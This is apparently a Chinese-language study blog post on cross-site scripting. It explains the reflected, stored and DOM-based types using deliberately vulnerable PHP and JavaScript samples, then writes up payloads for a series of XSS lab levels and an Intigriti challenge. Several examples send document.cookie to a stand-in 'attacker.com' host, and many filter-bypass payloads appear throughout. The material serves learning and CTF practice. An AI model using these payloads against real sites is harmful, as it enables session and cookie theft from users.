xss学习以及靶场
跨站脚本攻击 原理是操纵存在漏洞的网站,使其向用户返回恶意 JavaScript 代码。当恶意代码在受害者的浏览器中执行时,攻击者就能完全控制用户与应用程序的交互。
通过注入一段有效载荷来验证大多数类型的 XSS 漏洞,该有效载荷会导致您的浏览器执行一些任意 JavaScript 代码。相当于就是快速检测是否有xss漏洞 。在大多数靶场里面可以快速用函数alert() 看看会不会出现弹窗 后面alert()函数在有些无法使用了 用的是print()
XSS攻击主要分为三种类型,分别是:
恶意代码通过 URL 参数传递,服务器未过滤直接将其返回给浏览器,浏览器执行这段代码。
比如
1 | 漏洞页面:search.php <?php // 直接获取URL中“query”参数的值,未过滤 $search_query = $_GET['query']; ?> <!DOCTYPE html> <html> <body> <p>你搜索的内容是:<?php echo $search_query; ?></p> <!-- 直接输出用户输入 --> </body> </html> |
注入
1 | http://example.com/search.php?query=<script>alert('反射性XSS测试')</script> |
然后别人输入 或者点击我构造的危险链接后 我服务器上就能获得别人的信息 cookie 当前页面等等
指应用程序从不受信任的来源接收数据,并以不安全的方式将该数据包含在其后续的 HTTP 响应中 也就是会影响到所有接收到http响应的人
1 | // 1. 提交留言接口:save_message.php |
然后构造
1 | <script> // 窃取当前用户Cookie并发送到攻击者服务器 var cookie = document.cookie; new Image().src = "http://attacker.com/steal.php?cookie=" + cookie; </script> |
当任何用户访问show_message.php页面时,服务器会从数据库读取这条恶意留言,并输出到页面中。用户的浏览器会自动执行脚本:
读取该用户的网站 Cookie;
跨域将 Cookie 发送到攻击者的服务器;
攻击者查看steal.php的日志,即可获取所有访问该留言板用户的 Cookie。
什么是DOM 文档对象模型 通过将文档的结构(例如表示网页的 HTML)以对象的形式存储在内存中,将网页与脚本或编程语言连接起来。尽管将 HTML、SVG 或 XML 文档建模为对象并不是 JavaScript 核心语言的一部分,但它通常与 JavaScript 相关。
举个例子
1 | <p id="greet">你好</p> |
对这个HTML代码
用 JavaScript 就能通过 DOM 轻松修改它:
1 | // 从 DOM 里找到 id 是 greet 的元素 var pTag = document.getElementById("greet"); // 修改它的文字内容 pTag.textContent = "你好呀!"; |
就像是用编程语言去控制html的翻译官吧
当页面的 JavaScript直接使用客户端可控的数据(如 URL 参数、localStorage、sessionStorage等)来更新 DOM,且没有对数据做过滤 / 转义时,攻击者可以构造恶意数据,让 JavaScript 把恶意脚本插入到页面中并执行。
1 | <!DOCTYPE html> |
假设一个有漏洞的前端代码
1 | http://example.com/welcome.html?username=<img src=x onerror="new Image().src='http://attacker.com/steal.php?cookie='+document.cookie"> |
使用危险 DOM API 处理客户端数据
直接赋值给innerHTML、outerHTML、document.write();
动态创建标签时使用eval()、setTimeout()、setInterval()执行字符串(如eval(location.hash));
动态设置元素的事件属性(如onclick、onerror、onload)(会把写入的内容当作 HTML 解析)
wp
1.
1
2
3 function render (input) {
return '<div>' + input + '</div>'
}
这个函数的逻辑是把传入的 input 参数直接拼接进 <div> 标签的 HTML 字符串中返回,完全没有对 input 中的特殊字符(如 <、>、script 等)做过滤或转义
那么直接弹窗就可以了
1
<script>alert(1)</script>
2.
1 | function render (input) { |
<textarea> 是 HTML 的表单元素,设计初衷就是承载原始文本(比如输入框、编辑器内容),浏览器解析时会有特殊规则:
只要内容还在 <textarea> 标签内部,所有字符(包括 <、>、<script> 等)都会被当作纯文本显示,不会解析成 HTML/JavaScript。 学到的方法 直接闭合 </textarea>(闭合标签),就能跳出<textarea>的纯文本上下文
1 | "</textarea><script>alert(1)</script>" |
也就是这样输入
1 | <textarea>"</textarea><script>alert(1)</script>"</textarea> |
然后拼接成这样
3.
1 | function render (input) { |
直接把input拼接进去 input本身是创建表单的 而且
1 | 表单输入元素,属于「单标签」(没有闭合标签 </input>,直接以 <input ...> 结束); |
这里可以提前闭合 然后执行 这里是一个新的方法 后面的<img>标签会被正常解析,src=1无效触发onerror事件,执行alert
1 | "> <img src=x onerror=alert(1)> |
正常执行就可以了
1 | "> <script>alert(1)</script> |
或者是直接用上input
1 | " onclick=alert(1) x=" |
把前面value闭合了 把后面input也闭合了 变成这样
1 | <input type="name" value="" onclick=alert(1) x=""> |
他的事件属性onclick = 点击事件:当用户用鼠标左键点击该 HTML 元素时,立即执行onclick里的 JS 代码onfocus = 聚焦事件:仅针对输入类元素(<input>、<textarea>),当用户把光标移入该元素(比如点击输入框准备输入内容)时,执行onfocus里的 JS 代码。onchange = 内容改变事件:仅针对输入类元素,满足两个条件才触发:
- 用户修改了元素的内容(比如输入框里打字、下拉框选选项);
- 光标离开该元素(比如点击页面其他地方、按 Tab 键)。
1 |
|
这一关我都试了 都是可行的
4. 黑名单 简陋的替换()为空字符 除了这个靶场 其他想要窃取cookie几乎也不需要()这个吧 但是还是得知道怎么过
1
<script>alert`1`</script>
用 反引号来包裹 或者是 HTML实体编码来进行绕过
1
<svg src=x οnlοad=alert(1)>
这里可以用上极客里面的svg (回忆一下)矢量图形格式 允许内嵌 JavaScript 代码,也能绑定onload/onclick/onmouseover等事件属性,浏览器解析 SVG 时会执行这些 JS
5. 过滤了反引号 那就是html实体编码 onload 是 HTML 的 “加载完成事件属性” —— 当某个 HTML 元素(或整个网页)完全加载完毕后,浏览器会自动执行 onload 属性里的 JavaScript 代码。
1
<svg src=x onload=alert(1)>
6. 闭合掉注释
1
2<!-- -- !>
--!><script>alert(1)</script><!--
7. 过滤掉各种属性 on auto 以及标签> 看wp了
onclick
=alert(1)
居然是换行 什么原理
这里的「任意字符」不包含换行符(正则默认模式下,. 匹配除 \n/\r 外的所有字符)。
on.*=的匹配逻辑:`.*`是 “贪婪匹配任意字符(除换行)”,因为正则默认`.`不匹配换行符(`\n`),所以当`onclick`和`=`之间有换行时,`on.*=`无法匹配整个`onclick\n=`,所以不会被替换,从而绕过过滤
- 过滤了> 看wp 此处过滤了尖括号之间的字符,不过由于浏览器的兼容性,反尖括号(>)可以省略,从而进行绕过
<svg onclick="alert(1)"
解析onclick=alert(1) → 无引号时,属性值从alert开始,遇到第一个特殊字符(就立即终止;
onclick的属性值只保留alert,后面的(1)被当作 “SVG 标签内的无效文本”;
最终解析结果:<svg onclick=alert (1)</svg> → onclick只绑定了alert(无参数),自然触发不了弹窗。
所以这里是单一属性 需要加引号(其实这个才是标准写法)
不加引号的话 给 svg 的 onclick 也加 “空格分隔的无效属性”,让`onclick=alert(1)`变成独立属性,无引号也能生效:<svg onclick=alert(1) x=1
- 用前面学到的换行绕过即可
</style
>
<script>alert(1)</script><style>
- 利用onerror 先匹配上正则 但是需要是个假的url 来使后面的代码执行 最后闭合上alert(1)
https://www.segmentfault.com111" onerror="alert(1)
- 先看源代码 是黑名单过滤
function render (input) {
function escapeHtml(s) {
return s.replace(/&/g, '&')
.replace(/'/g, ''')
.replace(/"/g, '"')
.replace(/</g, '<')
.replace(/>/g, '>')
.replace(/\//g, '/')
}
const domainRe = /^https?:\/\/www\.segmentfault\.com/
if (domainRe.test(input)) {
return `<script src="${escapeHtml(input)}"></script>`
}
return 'Invalid URL'
}
同时有上一关的正则匹配 这个也是看的wp 神奇
使用 @ 会以 @ 前的字符串作为用户名来访问 @ 后面的网址 这个记一下知识点吧 毕竟哪个服务器上面会有个这个文件 我还要事先知道 记一下wp吧
https://www.segmentfault.com@xss.haozi.me/j.js
- 转大写 直接编码
<img src="" onerror="alert(1)">
- 去掉script 转大写 编码一样可以
- 注释掉了 然后黑名单 这里看着html写就可以了 绕过注释 最后有个’) 直接–>注释掉
1 |
|
- 开始一次不能用字母 然后转大写 后面可以实体编码 前面不知道了 先放着
实在是没法 看wp了 这谁能想到 ſ 大写后为 S(ſ 不等于s) (还有古英文!!)
1 | <ſcript src="" οnerrοr="alert(1)"> |
- 原本想用上注释的 但是>被ban了 还好是在标签里面 前面的实体编码也没什么用 看着下面写闭合就可以了 然后加上; 保证能执行
1 | ');alert(1)(' |
- 这个是怎么防的?就是可以直接写代码 而且连标签都不用管 感觉怪怪的
- 过滤了很多 比较重要的就是
1 | ' \\ " < > ` |
上面错了 这里我补上知识点
JS 解析的优先级是「先处理转义符 → 再执行表达式 → 最后处理语法错误」,这也是 alert 能执行的关键 也就是说转义符会被直接无视 等于没有黑名单 直接照着前面闭合就可以了
19. 给双引号加上转义 前面的知识点 等于没有过滤了 但是我的输入会在”包着的
搞了一个这个
1 | <script>console.log("\");alert(1);(\"");</script> |
为啥不行 不是说会被转义吗?上一关是javascript: 会让字符串内容在第二次解析中重新成为代码,正是在第二次解析里成功闭合了字符串并执行了 alert
我这里就等于 console.log(‘“);alert(1);(“‘); 而上一道题
1 | var url = 'javascript:console.log("\");alert(\"1")' |
先等于javascript:console.log(“”);alert(“1”)
然后再次执行 前面就闭合了
所以说这道题
1 | <script>console.log("\\"); alert(1) //");</script> |
是一次性闭合了前面 来直接执行的 我看的网上的wp几乎都是写的很乱不清楚 搞了好久
xss挑战
规则
- 应该执行
alert(document.domain)。 - 应该利用该域名上的跨站脚本漏洞。
- 不应该是自XSS攻击或与中间人攻击相关的攻击。
- 应在go.intigriti.com/submit-solution上报告。
- 无需用户交互。
限制了长度 不能超过24个词 很受限制了 因为执行的东西就22了 不可能加标签了 抓包看看 有没有可能是简简单单的前端验证 其实没有这个限制呢 f12改尝试了 并不是 后端验证得死死的 不过重新审计代码
前面的前端动效之类的不用管 后面扒下来
1 | <script> |
关注一下这一个window.location.search = "?q=" + encodeURIComponent(inputName) + '&first=' + isFirst 也就是说当我输入名字时 其实是这样子的q=名字&first=yes
1 | // 1. 判断当前页面URL是否包含 "q=" 字符串 |
这里定义了两个参数 qs也就是用户输入的 它提取出来了 uri 存储解码后的完整 URL。decodeURIComponent():URL 解码函数。因为浏览器会把 URL 中的特殊字符(比如中文、空格、&、= 等)编码成百分号形式
意思是检查的长度24只是在q=后面、&first=前面的内容
重新看一下
1 | titleDOM.innerHTML = title |
把上面记得搬过来 基于 DOM 的 XSS漏洞 存在于客户端代码而不是服务器端代码中。
那么之前看uri变量 用到换行符 真正执行的alert(document.domain)不计入长度检测就可以了
关于在js里换行符的知识 先解释JS 的解析逻辑
按行扫描 行内必须是合法 JS 新的一行是新的语句开始点
例如eval("https://example.com\r\nalert(1)")
其实是等价于alert(1)
对于换行符的边界
在JS里面 比较宽松 这两个都能作为LineTerminator(这一行代码结束了,下一行可以当作一条新的语句重新解析)
但是
HTTP 协议规范规定:一行头必须以 CRLF 结尾
也就是CRLF的兼容性比较大
那么 eval("https://... ?q=...&first=yes\r\nalert(document.domain)")
实际上执行的也就是alert(document.domain)
payload
1 | ?q=<svg/onload=eval(uri)>&first=yes%0aalert(document.domain)` |
还有一点 无论长度限制 这里都没法用<script>
发生注入的位置
1 | contentDOM.innerHTML = qs |
关键规则
通过 innerHTML 动态插入的 <script> 标签,默认不会执行
这个题并不是页面初始 HTML 解析阶段contentDOM.innerHTML = qs 把字符串「当 HTML 解析」然后再插入 DOM 树
之前完全忽略了这一点


